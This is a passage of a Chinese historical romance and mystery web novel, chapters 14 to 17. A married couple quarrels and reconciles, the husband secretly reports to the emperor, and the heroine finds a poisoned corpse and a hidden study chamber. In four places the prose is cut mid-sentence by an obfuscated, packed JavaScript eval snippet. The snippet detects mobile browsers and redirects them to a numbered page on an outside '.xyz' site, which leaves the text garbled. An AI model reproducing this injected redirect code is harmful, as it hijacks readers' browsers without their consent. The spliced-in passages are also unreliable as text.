“菽藿糟糠是什么味道,饥寒交迫是什么样的感觉,我都尝过。从前崔府还没有如今这等辉煌,朝堂奸佞当道,崔府里也很乱,奴仆都能骑到主子头上。很不巧,我就是那个受欺凌的倒霉蛋儿。” 最开始,路歌因为舞妓的身份,被拦在崔府外。崔灵景因为是公子身,才被带回崔府。因此最初在崔府的那七年,崔灵景就像个没有爹娘的孩子。负责照顾他的仆从仗着他年纪小,不断剥削和折辱他。他们将他带出门,却把他丢在街市人流中;他们忘记给他送饭,害他饿一整夜;他们还会将他身上的钱财搜刮殆尽。而那些从小含着金汤匙出生的兄弟,也以欺负他取乐。他们往他身上砸石头,看他气急败坏;他们冬天时在他的靴子里放入冰块,看他出丑;他们还在他睡觉时翻窗进来,趁他睡着在他脸上画画。 其实这些崔灵景都知道,他当时并没有睡着。他也没有气急败坏,只是目光冷淡地看着所有人哄堂大笑。 尽管崔净风“出手阔绰”,但他对崔灵景的伤害,其实远远比不上那七年对于他的折磨。 “大夫人不管吗?” 谢云闲说完就后悔了。 宁元珍带头打压崔灵景,她又不是不知。从方才宁元珍对崔灵景的态度来看,即便她知道了这些事,也不可能出手相助。 她又找补的问了句:“那崔太保呢?” 宁元珍不管,崔玄墨会管吧?崔灵景毕竟是他的亲儿子。 “他并不知道这些事。” “怎么会?” “崔府上上下下十几位公子小姐,我只是其中不显眼的一位。他忙于政事,对于家事,睁一只眼,闭一只眼,便过去了。 谢姑娘的母亲,乃徐州富商之女,贤身贵体,姑娘生自高门大族,乃谢家掌上明珠,享受众星捧月的恩待,很难理解吧?” 谢云闲笑容僵住,“我……” “我的母亲出身低贱,攀权富贵,才好不容易攀上崔府。而我因为我无法择决的出身,注定要承受无尽的冷嘲热骂……” “你这是什么话?”谢云闲打断了他。 她面色紧绷,漂亮眸子透露出难以抑制的真实的愤怒。 “不管路姨娘以前是何种身份,她都含辛茹苦将你抚养长大,对你无半点亏欠!” 崔灵景的话轰然间在谢云闲心中烧起一场大火。 “路姨娘于你,已竭尽她所能,她爱你,护你,余生的念想也有关于你,你却困于出身,毫不珍惜她给你的一切,自轻自贱,自甘堕落,你可对得起她?” 大抵是没想到谢云闲如此气忿,崔灵景手上的动作一顿。 他冷冰冰道:“我的家事,我与母亲的关系,与谢姑娘有何干系?” 他这一副拒人千里之外模样让谢云闲更为火大,她“噌”地站了起来。 谢云闲克制着自己急促的呼吸,一字一顿地说:“崔灵景。” “我娘死于五年前,我生辰的第二日,那时我方及笄。” 崔灵景终于抬起了头。 他瞥见谢云闲通红的眼眶,愣了一下。 “她早已病入膏肓,却硬撑着,待我及笄,才离开人世。” 崔灵景也站了起来,眸光闪烁,藏着一丝无措。 这是谢云闲第一次展现出脆弱的一面。 复杂情绪攥住心口,她感觉到一阵无声的疼痛和无力。 她没留住姐姐,也留不住阿娘。 她也是在最珍贵之人离开后,才明白这些道理。 “皓儿!” 一声呼唤打破两人之间的沉默。 谢云闲赶忙偏过头,收起自己的情绪,抬手揩了揩眼眶里的泪珠。 路歌冲进来,绕过一地障碍,跑到崔灵景面前,“给我看看,伤哪了?” 她掰过崔灵景的脸,看到肿起来的嘴角,眉头深深皱起,“怎么回事?怎么又把自己弄成这副样子?” 崔灵景笑笑,安慰她:“我没事。” 谢云闲气头上,还是给崔灵景辩解了一句:“是崔小公子做的。” 路歌叹了口气,道:“我知道,但他要是不躲,能被伤成这样?” 谢云闲疑惑,陆姨娘方才又不在,她怎么知道?卢青告诉她的? 路歌指着崔灵景又气又心疼地骂道:“你让我说你什么好?我说多少回了?你不必为了我,忍着性子,平白受人欺负。人家不会迷途知返,不会因为你生或死,就洗心革面。你这躲也不躲,不就是明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883557|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆着让人来欺负你吗?落得一身伤,你又有什么好处?” 路歌对着他的胳膊就是一巴掌:“你再这样,我就不管你了!” 路歌拍的刚好是崔灵景受伤的那一侧,谢云闲下意识想劝,又止住了。 她还生气呢。 崔灵景背地里说了那么尖酸的话,受路姨娘一巴掌怎么了。 更何况路姨娘压根没用力。 崔灵景乖乖低头道:“我知错了……” “你别说话!”路歌冷冷打断他,又转向谢云闲,温情道:“云闲,他以后若是说了什么让你不高兴,你千万别往心里去。他呀,心思弯弯绕绕,嘴硬心软,说了什么不好听的,你就当耳旁风。要是忍不住,你就揍他!给他点苦头吃。” 路歌这话好巧不巧正好说到点上了。 谢云闲应了一声:“嗯,我知道的。” 路歌走后,书房里再次陷入沉默,卢青和荷华也不知去了哪儿。 谢云闲将东西收拾好,淡然道:“我走了,药都放在这里了。” 她话里没什么情绪,还残留着对崔灵景的不满。 她转身往外走,刚巧碰见荷华和卢青进门。 荷华放下手里的东西,问:“姑娘,您要去哪?” “出去走走。”谢云闲脚步放缓,脸上毫无波澜。 “我跟你一起。”崔灵景忽然开口。 “不用。”谢云闲头也不回。 崔灵景却披上外袍,朝她走去。 荷华与卢青二人眼观鼻鼻观心,都察觉气氛不太对。 荷华第一次见自家姑娘在外人面前,脸上竟没了笑意。这放在从前,即便面对张满田,她也是笑容满面的。不然别人怎么会说,猜不透她的心思呢。 荷华朝卢青使眼色:怎么回事? 卢青回她两眼茫然:我也不知。 崔灵景追上谢云闲的脚步,谢云闲撇过头,“你别跟着我。” 荷华瞪圆了眼。 这算是谢云闲第一次失了礼节,对外人发脾气? 她心道,崔四公子还有这本事?能惹姑娘这般生气? 卢青也第一次见这样失态的谢二姑娘,霎时愣在原地。 他心想,公子对二姑娘做了什么?怎么惹她生气了?难道是提前说了什么,做了什么?可他明明不是这么急切的人…… 谢云闲往前走一步,崔灵景也跟着走一步。 谢云闲停下来,崔灵景也跟着停下来。 “……” 看来崔灵景是一定要跟着她了。 谢云闲心情复杂。 “我必须跟着你,我有不得己的理由。”崔灵景道。 谢云闲这才看了他一眼,你又想说什么? 只听崔灵景有理有据道:“其一,宁夫人正盯着我们,你一人外出,她会产生疑心,怀疑我们不合。” 谢云闲心中冷酷道,事实本就如此。 “其二,刚才我娘那些话你都听见了,她现在对你可是宠爱有加,若你出了什么事,她绝不会放过我。” 谢云闲无言以对。 “最后。” 崔灵景伸手拉过谢云闲的手。 “对不起,我说错了话。” 15. 外族人 谢云闲最终还是带上了崔灵景。 准确来说,是崔灵景“死皮赖脸”跟了上来。 其实谢云闲压根没想好去哪,她只是气头上,不想搭理崔灵景,说了气话。 崔灵景此人还不识眼色,非要跟着她。 “还生气?”走出崔府,崔灵景看她。 “不曾生气。”谢云闲语气硬邦邦道。 崔灵景笑了笑,没说什么。 适逢仲春,清晨雷雨过后,建康城染上了一片湿意,柳絮纷飞,如漫天大雪。 温润春雨,和畅春风,怡人春景,抚平了谢云闲浮躁的心。 “夫人。” “崔灵景。” 两人不约而同地开了口。 谢云闲又不得不勉强改口:“夫君……你先说。” “没什么。”崔灵景抬起手,从谢云闲青丝间拈下一团白色绒毛。 他一松手,柳絮随风而去。 谢云闲愣了一下,道:“你头上也有。” 未等崔灵景说话,她又道:“你自己拍掉。”我可不会帮你。 “……” 崔灵景无声笑了一下,索性不管了。 他问:“夫人想说什么?” 谢云闲暗暗无语,这会儿又喊她“夫人”了? 真是变脸如翻书! 人人皆道捉摸不透谢云闲的心思,依谢云闲看,崔灵景分明更难懂。 看似什么都不关心,心眼子却多得很! 谢云闲直接问他:“崔净风为何这么针对你?若他仅仅是瞧不起你的出身,不会主动跑到你屋子里招惹你吧?” “夫人聪慧。”崔灵景先是夸赞了她一句,随后道:“昨夜他派人来监视我们,卢青发现后,将那人五花大绑关在柴房里,今早他得知此事,才来找我的麻烦。” 这崔净风可真是一刻也不闲着。 谢云闲又想起他方才那做派,对这位崔小公子又多了几分厌恶。 “那之前呢?他之前又为何针对你。” 崔灵景看着漫天飘絮,娓娓道来:“三年前,他母亲服毒自尽。” 谢云闲一怔,“为何?” “她母亲自作聪明,想对宁夫人下手,却被发觉,惩以‘警告’。她母亲是个心高气傲的人,陷害失败反被报复,为此深受打击,最终承受不住,不管不顾,选择自尽,留下了年仅十三岁的崔净风。 “那夜他躲在假山后悲泣,我碰巧撞见,他许是觉得丢了面子,便开始处处针对我。” “……” 谢云闲万万没想到竟是因为这个。 那崔灵景也不算无辜嘛。 崔灵景似有所感,转过头,跟她对视一眼。 谢云闲:“……” 谢云闲不太相信:“你故意的?”故意偷看崔净风痛哭流涕的模样? 崔灵景无奈一笑:“那次真是巧合……” 谢云闲点点头,罢了,就信他一回。 大雨过后,万户敞开,摊贩纷纷出现,沿着长街,人来人往,望不见尽头。 两人并肩穿过街巷,走走停停,卢青和荷华跟在身后,与他们相距一丈远。 “两文钱冰糖葫芦哟……卖冰糖葫芦……” “卖大米——卖大米——” “羊肉,新鲜羊肉——肥的嘞!” 上回这样轻松地逛集市,还是许多年之前。 谢云闲流连于摊贩之间,脸上浮现出惬意的笑容。 “姑娘,可要看看这镯子?” 谢云闲被人叫住,转头见一小贩正冲她憨笑:“翡翠玉镯,金镯子,银镯子……任姑娘挑选。” 此人长相有些特别,个子不高,头大眼小,留着浓须,皮肤黝黑,赤|裸的臂膀刺着诡丽图腾,下颌有一条长长的疤。无论是长相,还是说话的腔调,都不似汉人。 谢云闲盯着他,心中讶然,是外族人? 她怔愣间,崔灵景拿起了一个碧玉镯子。 那小贩立刻谄媚道:“公子好眼光!这是我这里最珍稀的翡翠镯子,产自我族西南,经工匠精心打琢,质地细腻,颜色浓艳,富有光泽。” “你是从哪来的?”谢云闲问。 “我乃西南党项人,初到建康,姑娘是建康人?” 谢云闲搪塞道:“算是。” 那小贩又追问道:“我见姑娘衣着不凡,应当是大户人家的小姐吧?” 谢云闲礼貌而疏远地笑笑,简言道:“不算。” “姑娘有什么喜欢的,随意看看?这几个,都很衬您……” 谢云闲正欲婉拒,却见崔灵景仍拿着那碧玉镯子,问:“这个怎么卖?” 谢云闲奇道:“你要买镯子?” “你上回说丢了个镯子,卢青未寻到,我赔你一个。”崔灵景道,“不过自然比不上白夫人送的。” 这不过是谢云闲当初为了调查尸体随便扯的谎,她都快忘了,没想到崔灵景还记在心里。 她不可能真的让崔灵景为了一个不切实际的谎赔自己一个镯子,于是道:“算了……你若真想赔我,不如自己做一个。” 崔灵景是绝不会答应的,这事便能翻一页了。 岂料崔灵景点了点头:“好。” 谢云闲呆愣住——你好什么好? 崔灵景将镯子放下,那摊贩挽留道:“公子可要看看别的?这些都很衬这位姑娘……” 崔灵景道:“不必了。” “……” 什么意思?崔灵景认真的? “走吧。”崔灵景道。 谢云闲仍在风中凌乱。 …… 两人在外逛了一圈,直到落日后,他们才打道回府。卢青和荷华提着大包小包,谢云闲命荷华回去之后,送些去给路姨娘。 崔灵景没跟他们一起回去,说要去医馆取药,若是去晚了,卫大夫那暴脾气又得炸。 谢云闲便道:“那让卢青陪你一起,我拿着东西回去便好。” 崔灵景没答应,“医馆到崔府不用半盏茶时间,我自己去便可。卢青,你送她们回去。” 卢青应道:“是,我会护送二姑娘安全回去。公子路上也要小心。” 谢云闲只好作罢。 百草堂快打烊了,异常僻静,来往人很少,连平日候在门口的小厮也不见了踪影。 崔灵景轻车熟路地绕过正房,走过长廊,进了一间隐蔽却奢华的偏房。 屋内坐着一人,站着一人,形容朴素,却给人极强的压迫感,令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883558|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心头一颤。 崔灵景合上门,转身朝正坐那人走过去,双膝跪下,行叩拜之礼:“臣见过陛下。” “起来吧。” “谢陛下。” 众人万万想不到,孝帝会在此时出宫,出现在这个医馆里,以平民身份,接见传闻中不涉朝政、安分守己的病秧子崔灵景——两人还以“君臣”相称。 崔灵景向孝帝禀报近况,条理清晰,语气平稳,完全不似传闻里那样无能。 孝帝微微颔首,“你明日出发去益州?” 崔灵景答话:“是。” 新婚第三日,新人要回岳父母家。于新娘而言,便是初为人妇后,再次回到娘家。谢睿远在益州蜀城,他们赶过去,至少也要半月。 “一切都准备好了?” “一切准备就绪,只欠东风。” “你有几成把握?” 崔灵景从容答道:“谢睿的身份已是板上钉钉,西炎王已故多年,只他一人,掀不起什么风浪。我有九分把握。” 孝帝饶有兴趣地问:“那差的那一分呢?” “在于陛下。” “此话怎讲?” “据臣调查,参与当年一事的只有谢睿,谢家其余人如何处置,全看陛下意愿。” “谢家那姑娘呢?你打算怎么办?” 崔灵景毫无迟疑,答道:“臣一直派人时刻盯紧她,并未发现异常举动。” 孝帝却沉默一瞬,提醒道:“通敌叛国,乃诛杀九族之罪,你知道吧。” 崔灵景垂眸:“……臣明白。” “你没有什么话要说?” 崔灵景道:“不敢。事情办妥之前,我的性命都在陛下手上,没有资格提任何要求。” “好,说得好。”孝帝笑了一声,“你的意思是,你办好了事情,就可以向我提要求了?” 这回崔灵景没有立刻回答。 孝帝笑了笑,目光静静落在崔灵景身上。 眼前这位青年站在他面前,腰身笔直,身姿挺拔,清瘦的骨子里透露出与年纪不相仿的坚定平和,如墨般的瞳孔里藏着连他都无法全然摸透的城府。 少年野心,五年之期,恣意生长。 这让他不禁恍惚忆起,五年前跪在他面前,那个单薄清冷的少年。 十七岁的崔灵景,跟着崔玄墨进宫,却瞒着崔玄墨,带着一身伤病,跪在明德殿前,请求面圣。 那一面,是崔灵景人生的转折。 九五之尊的注目之下,少年没有退怯。面对质疑和猜忌,他据理力争,获得了一份宝贵的机会和信任。正如他所承诺的,他只有五年时间。 此后五年,他表面与世无争,忍辱负重,实为孝帝心腹,背地里为孝帝做事。 他一直知道,这是他唯一的机会。 “崔灵景。” “臣在。” “你可还记得,你十七岁那年,在明德殿上说的那番话。” 一如五年前在明德殿上,崔灵景叩首许诺:“臣牢记于心,定不负陛下所托。” “好!” 孝帝不再多言,从腰间取下铜制伏虎状令牌。 “此事万不可出任何差错。” 崔灵景双手接过,“臣遵命。” 16. 流言起 这夜谢云闲仍是与崔灵景同床而眠,但这回她不到亥时便和衣睡下了。 她闭上双眼,自我催眠,心无杂念,很快睡了过去。 崔灵景何时回来、几时睡下,她全然不知。 第二日谢云闲早早醒来,早早出了门,只带了荷华一人。 白溪死于益州,生前最后的愿望是将尸体运回建康,跟谢微芳埋在一起。 明日乃归宁之日,谢云闲要与崔灵景一同回益州,临走之前,她想去看看阿娘和姐姐。 一别多年,她终于来到母亲墓前,潸然泪下。 谢云闲从未想过,有一天,她的姐姐、她的母亲、她的兄长,都会选择离开。 六年前,姐姐谢微芳在外突发疾病,卒然病逝。白溪得知此事后便郁郁寡欢,心神不属,他们一家也因此远搬到了益州。到了益州,白溪因为风寒染上头疾,经常头痛难忍,谢云闲都看在眼里,心疼得无以复加。很快,在一个冬日,白溪就病倒了。这一病,便再也没有起来。 谢云闲还有个哥哥,名叫谢帆。谢帆乃家中嫡长子,本应承担家庭重任,却在白溪头七之后,离家出走,再也没有回来。子承父业的重担,就落在了谢观声身上。肉眼可见的,这几年谢睿比前些年憔悴了很多,白了头发,深了皱纹。 谢云闲稳住情绪,换上满满笑容,走到母亲墓前,如生前般与她畅聊。 “阿娘,你跟姐姐在那边过得可还好?您见到姐姐了吗?她是不是拉着您,天天闹着要下棋?” 谢云闲笑道:“云闲成亲了,是和崔家的四公子。他叫崔灵景,陛下想让谢崔二家联姻,就定了我们的婚事。我不爱他,他也不爱我,但您放心,我们很和睦,他待我也好……” 她想了想又道:“明日我便要回益州,你们可有什么话要我转达给阿爹?” 风拂过,云无声。 谢云闲沉默了一会,跪下,在墓碑前磕了三个头。 额头抵着手背,谢云闲小声而坚定地承诺:“云闲一定会照顾好自己……在查明一切之前。” 晨阳隐去,阴云聚拢,林间漫起白雾。轻雷骤响,林中鸟惊起,纷纷扑着白玉似的翅膀往外飞。 荷华走近:“姑娘,时候不早了,该走了。这昏天暗地的,估摸着要下大雨。” 谢云闲起身,微笑道:“阿娘,姐姐,云闲下次再来看你们。” 随后她敛了笑意,神色微怔,垂眸,轻声呢喃:“阿娘……” “您当时紧握着我的手,究竟想说什么呢……” - 两人乘车回到城中。 “啊——好饿啊!”谢云闲伸了个懒腰,对荷华道:“我们去寻些吃的。” 这天气雷声大雨点小,才飘落几串雨珠,又止住了。 行至途中,荷华好奇地问了一嘴:“姑娘,昨晚你跟崔四公子……怎么样啊?” “能怎么样?” 荷华观察着她的神色:“我看你们昨日好像闹了点不愉快……”虽然后来很快和好如常了。 “我又不会因此把他踹下床……”谢云闲道,“昨日回去后,我便没跟他说过话。我一早就睡下了,睡着了他才回来,今早我又起得早,我起来时他还在睡着呢。” “咱们这样贸然出来,要是出了什么事,都没人能发现。” 毕竟要出城,路程不算近,荷华就想叫上几人陪同,但被谢云闲拒绝了。谢云闲想安静去探望,她能理解,可她就怕万一出事,单凭自己的力量,无法保护好她。 “放心,我们这不就没出什么事?我们已经在回去的路上了。” 荷华担心道:“虽然您不喜欢崔四公子,但以后出去还是跟他说一声吧,他看起来挺关心您的。” 谢云闲哼了一声,“他还有事瞒着我呢,你瞒我瞒,我们对彼此都没有亏欠。” 荷华一怔,问:“他瞒了您什么事?” “他昨日不是说去医馆取药吗?” “他没去?” “我不知道他有没有去,我只知道,他撒了谎。” “姑娘如何知道?” “昨日是我给他上药,他的药粉还有多少,我最清楚不过。我用手掂量一下,估计还能用五六日,根本不需要那么急着去取药。” “或许是别的什么药……” 谢云闲依旧坚定自己的判断,“不管是什么药,又不是身患急症,根本不用这么急,还要亲力亲为,亲自去拿。那时医馆都快打烊了,卫大夫也不可能约在这个时间。” 荷华争不过她,甘拜下风。 谢云闲买了块烧饼填肚子,她咬了一口,叹道:“这烧饼比益州的……” 正说着,不知何处冲出一人,撞上了她。 谢云闲拿着烧饼的手没稳住,烧饼被撞落在地上,沾了一地灰尘。 谢云闲气恼道:“我的烧饼!” 那人低头走得很快,撞了人也不道歉,从谢云闲眼前闪过,谢云闲只注意到他下颌上有一道疤痕。 荷华安抚道:“姑娘,要不再买一个吧……” “等等。”谢云闲盯着那背影,“这不是昨日卖镯子的摊贩吗?” 那人虽然垂着头,围了头巾,披了件蓑衣,但他那道刀疤实在太显眼,谢云闲一眼便认出来了。 谢云闲疑惑道:“他不卖东西了?急匆匆的是要去哪儿?” “姑娘认识啊?”荷华也伸长脖子去看。 谢云闲点醒她:“是昨日那卖镯子的。” “那他怎么从那巷子里窜出来了?” 对了,巷子。 谢云闲转身,朝那人冲出来的方向望去。 人影绰约,柳陌巷深,她压根看不见那边有什么。 “我们过去看看。” 荷华“欸”一声,紧跟上去,“看什么?” 直觉告诉谢云闲——不对劲,有猫腻。 她挤过人潮,快步往那边走去。 “姑娘……您慢点!” 建康城中街巷纵横交错,有些巷子宽敞明净,一眼就能望到头,有些则弯弯绕绕,阴暗逼仄。 “姑娘,要不我们回去吧?你……你看什么啊?”荷华攥了攥谢云闲的衣袖。 陋巷狭隘,她们手无寸铁,容易被人盯上,她担心会突然冲出几个叫花子或小流氓。 “怕什么,这又没鬼……”谢云闲话音一止,秋水般明澈的双眸顿时睁大。 只见深巷里躺了个人,面朝地,一动不动,别在腰上的长刀刚拔出一半,一只手还握在刀柄上。 一把小刀从那人背后插入,未干的鲜血淌了一地。 未等荷华反应过来,谢云闲已快步走上前,俯身去探那人鼻息。 还是迟了。 人已经死了。 浓烈刺鼻的血腥味在巷子里弥漫。 荷华被吓得魂飞魄散:“这、这是怎么回事?” 谢云闲也无法回答她的疑惑。她只能忍着不适,去翻看尸体。 荷华下意识要阻止,转念又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883559|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,劝是劝不住的,便由着她去了。 谢云闲眉头轻皱,咕哝道:“奇了,这刀伤并未致命……此人如此死的?” 思索着,她掏出手帕,捏在手里,让颤颤巍巍的荷华帮忙将尸体翻了个面—— 果然! 死者脸上泛着不正常的青紫色,并非普通刀伤所致。 谢云闲又掀起那人衣袖,发现他小臂上也有一块块的青紫毒斑,密密麻麻,十分可怖。 谢云闲迅即出声提醒:“别碰他!刀上有毒!” 荷华登时吓得往后撤了几步。 谢云闲暗自忖量,此人分明刚死不久,血液尚未凝固,毒素却已蔓延如此之深……可见此毒之凶猛可怕。 再看此人衣着,一身黑衣,装束朴素,却身带利刃,应是密探。 死者身上并无打斗痕迹,证明生前并未与凶手进行打斗。显而易见的,死者连刀都来不及拔出,便被凶手从背后伏击,中毒身亡。由此可见,凶手狡诈狠辣,出手出其不意,且身手可能不如死者,故并未与死者发生正面冲突。 谢云闲眉头深深皱了起来,神色肃穆。 她想起方才那匆忙离去的外族人,他曾说那翡翠镯子原材料产自西南……那里可不止盛产珠光宝石,巫术蛊毒也是极为著名。 “凶手是那卖镯子的摊贩。” 荷华震悚:“他为何要杀人?在建康杀人,不怕衙门逮捕吗?”更何况是外族人。 “应当是死者在跟踪他,被他发觉,才会被灭口。”谢云闲思忖道。 “可死者为何要调查他?” 谢云闲摇头,心中仿佛被巨石压着,“此事疑点重重。” 两人面面相觑也无法得知真相,只好绕一段路去衙门报官。 如今边境纷扰不断,汉人与党项羌族、吐谷浑矛盾频发,此事牵涉多少,谢云闲不清楚,交由官府处理最为妥当。 衙门那小吏得知谢云闲乃谢府二姑娘、崔四夫人,以案件为由阿谀留下了两人,奉承地为她们备了午膳。 谢云闲便顺水推舟,留了下来,白蹭一顿饭,还有意无意地打探了一些消息。 那小吏环视四周,确认没人后,才压低声音道:“姑娘可曾听说过西炎王?” “略有耳闻。” 西炎王乃当今圣上的兄长,十多年前曾密谋造反,最终失败,服毒自尽了。其部下分散四处,大部分被斩首示众,还有一些零碎党羽不知所踪。 那小吏道:“自西炎王持政以来,汉人与外族贸易往来频繁,这些年越来越多外族人到建康来,尤其是这几日。近日坊间流言四起,有传闻说西炎王还未死,欲要归来。” “不过流言蜚语,有人当了真?” “姑娘有所不知,近来报官的,可不止姑娘一人。牵涉异族的案子越来越多,我们嘴上不说,心里都惶惶。” 谢云闲沉思道:“竟有此事……” 谢云闲与荷华二人离开时,已是落日西斜。红日投落在粼粼波光间,将河水染成了一片金橘色,与岸边如烟绿柳交相辉映。 荷华肩头一松:“终于可以回去了。” 谢云闲无言,兀自出神,心不在焉地往前走。 荷华跟着走了一段路,才意识到不对:“姑娘!这是往西,走反了,并非回崔府之路……” 夕阳余晖将谢云闲照得宁静而扑朔,如玉的脸庞蒙上一层淡黄光晕。 落霞里的建康城倒映在她眸中,她轻声道:“荷华,我想回一趟旧宅。” 17. 藏玄机 那日走水仍历历在目,他们三人险些命丧火海,可真相至今未查明。 方才那名死者又让谢云闲想起益州那具无名尸,明日她便要回益州,可她既未查到尸体原主,也并未找出凶手。 困扰在心中的谜团愈发繁杂沉重,让她觉得不安和挫败。 上次她推测,此事与谢观声有关。 若是不查明,她回去后该如何面对她心中抱诚守真的二哥? “可是姑娘,”荷华跟在她身后累得半喘,“那日不是看了吗?屋中并无异样呀……” “不,今日我们去二哥院里看看。” 两人没走正门,避开人流,敲响了偏门。 正打盹的小丫鬟闻声开门,见到谢云闲,吃惊道:“姑娘怎么回来了?” 谢云闲示意她小声点,“明日回益州,我来取些东西,你切勿声张。” 小丫鬟点头:“是,姑娘请进。” 自谢云闲嫁入崔府,院内便少了许多人,楚羽也回霜夫人那儿了。 一路无人,倒是方便谢云闲行动。 两人直奔谢观声院中,谢观声身为益州太守,偶尔回京面圣,居于旧宅,故院内比谢睿的更有生气,屋内也更为整洁,不至于一进去就沾了满头灰。 这次身边没有卢青,谢云闲无法开锁,只能让荷华喊来门房。这门房年纪大了,不爱多问,正合谢云闲之意。 两人先去了谢观声的卧室,分头翻找了一番,一无所获,又去了书房。 门房蹒跚着步子,跟在两人身后,替她们开门。 荷华打量他的动作,不经心问:“你在谢府多久了?” 门房年迈,耳朵不太好,荷华又问了一遍,才缓慢道:“老奴五年前来到谢府。” 那便是谢睿一家搬走后,他才来到这里,给旧宅看门。 谢云闲问他:“近来可有有其他人来过?” 门房摇头:“并无。” 谢云闲吩咐他:“我替二哥拿些东西,若有人过来,你知会我们一声。” “是。”门房答应一声,在屋外守着。 比起谢睿的书房,谢观声的书房简直空到一览无余。 屋内摆设简洁,入门侧有一个青釉瓶,往里走是成排的空书架,书架前有一张桌子、一张椅子,书架旁的空墙上挂着一幅汉将军出征挂画。 从前还在建康时,谢观声乃边军副将,不常在家。后来他意外受伤,从边疆退下,迁为益州太守,定居益州,因此谢睿搬家时首选益州。 不得不说,谢睿此决定无比正确,到了益州,借着谢观声的身份和谢氏的名声,益州谢家名气大燥,受了许多福利。 从前在建康时,世家大族势力更盛,谢氏遭孝帝打压排挤,许多产业分至其他家族,势力渐衰。到了益州,谢睿这一谢氏分支反而壮大起来,深得民心,得“益州谢家”之称。远离京城,家居益州,除了边境纷争,日子过得也算太平。 谢观声桌面十分整洁,除了笔墨纸砚,并无他物。 若谢观声回到房中,会做什么? 坐下,拿起毛笔,沾墨水,批阅卷宗…… 谢云闲目光扫过,忽的一顿。 朱褐笔架上挂着一支毛笔,竹制笔杆,笔头干净顺滑。 为何会摆一支从未用过的毛笔? 谢云闲将其取下,发现其笔顶与平常毛笔不同,上无挂绳,笔纽与笔冠大小相似。 屋内静谧无声,连外头的鸟叫莺啼都听得一清二楚。谢云闲随意晃了晃笔,听见了轻微的铛铛声。 她脸上难掩讶异:笔中有东西? 她摸到笔纽,轻轻一旋转——竟扭开了! 来不及惊诧,她将毛笔倒过来,倒出一把微小的钥匙。钥匙一根手指大小,纤细小巧,不同于普通钥匙。 与此同时,荷华晃了晃神,脚下一绊,摔到了墙上,不小心将墙上的挂画扯落了。 “嘭!” 挂画摔在地上,墙上一个方形凹陷小格却暴露在外。 “这是什么?”荷华瞪大了眼。 谢云闲闻声“噌”地站了起来,紧攥着小钥匙,快步走到她身边,与她一同查看。 荷华试探着伸手去压了压那凹陷处。 陡然,墙内发出了咔嚓咔嚓的声响,左侧书架动了! “嗬!”荷华被这动静吓得弹了起来。 书架朝原先挂着画的地方移了过来,露出了书架背后一片隐秘的空荡。 有暗室! 谢云闲与荷华对视一眼,拿起桌上烛火,往里照了照,照见一截倾斜向下的石阶。 她正要往里走,荷华扯住她衣角,担心她:“姑娘……要不喊些人来再进去吧?万一有危险……” 谢云闲拍拍她的手以示安慰,决然道:“若此次离开,下次要进来,恐怕难了。” 顺阶而下,被一扇木门挡住了去路。 谢云闲松开手,小钥匙安然躺在她手心。 她立刻将其插入门孔,木门应声而开。 谢云闲不曾想过这小小屋子里,竟藏有如此玄机! 饶是她提前做了心理准备,也禁不住倒吸一口凉气,呆呆张开嘴,一脸茫然,不知说些什么好。 灯火摇曳,光影飘忽,谢云闲又点亮了密室内的两盏灯,将屋内景象照得一清二楚。 此处仿佛才是书房的真面貌。 书架已半空,明显被人清理过,但仍看得出此处曾放了许多东西。 谢云闲走近书桌,发现桌上有一截短烛。 她伸手碰了碰烛身——是烫的。 说明有人来过,且刚走不久。 “嗒嗒……嗒嗒……” 万籁俱寂的密室里冒出轻微声响,像脚步踩在空荡台阶上。 谢云闲与荷华皆是一愣。 正愣神,门外台阶上出现了一个熟悉的佝偻的身影。 谢云闲远远望去,冷声道:“谁让你进来的?” 门房走进书房,垂目低声道:“老奴在外察觉屋内久无声响,担心姑娘出事,故进来看看。” 他嘴上这么说着,却反手将木门“啪”地合上了。 谢云闲目光一凛,一阵强烈的危机感将她包裹。 她沉声问:“你是什么人?” 门房直起腰,轻声一笑:“二姑娘好眼力。” 此人哪还有方才老迈颓丧的样子?霎时变得神采奕奕,步履稳健。 谢云闲盯着他:“你想做什么?” 糟乱乌发拨到两旁,露出一双鹰隼般的眼眸,步步逼近谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 